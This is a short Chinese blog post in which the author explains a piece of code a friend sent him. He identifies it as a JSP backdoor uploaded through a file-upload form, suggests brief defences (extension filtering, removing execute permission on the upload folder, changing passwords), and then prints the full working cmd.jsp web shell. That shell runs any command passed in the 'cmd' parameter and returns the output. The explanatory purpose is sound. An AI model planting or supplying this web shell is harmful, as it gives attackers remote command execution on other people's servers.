关于后门shell代码执行问题的记录

我的博客文章网址：

http://www.jloongking.cn/tp50/public/blog/index/blog?blogid=98

今天遇到了一个事情，大学同寝室的二哥在早上发来了一段网址，http://www.webbaozi.com/zyfx/37.html。让我帮他分析网址的代码是什么意思，我看了一下，这是通过java代码执行

Runtime.getRuntime().exec(

linux命令，这是一段后门代码，可以让人远程登陆服务器，通过上传文件接口上传到upload文件夹下执行

预防方案，上传文件时过滤文件后缀，改变文件储存目录的权限去掉可执行权限，如果已经出现问题记得改变服务器密码。

该java文件完整密码如下：

<%@ page import="java.util.*,java.io.*"%>

<%

//

// JSP_KIT

//

// cmd.jsp = Command Execution (unix)

//

// by: Unknown

// modified: 27/06/2003

//

%>

<%

if (request.getParameter("cmd") != null) {

out.println("Command: " + request.getParameter("cmd") + "
");

Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));

OutputStream os = p.getOutputStream();

InputStream in = p.getInputStream();

DataInputStream dis = new DataInputStream(in);

String disr = dis.readLine();

while ( disr != null ) {

out.println(disr);

disr = dis.readLine();

}

}

%>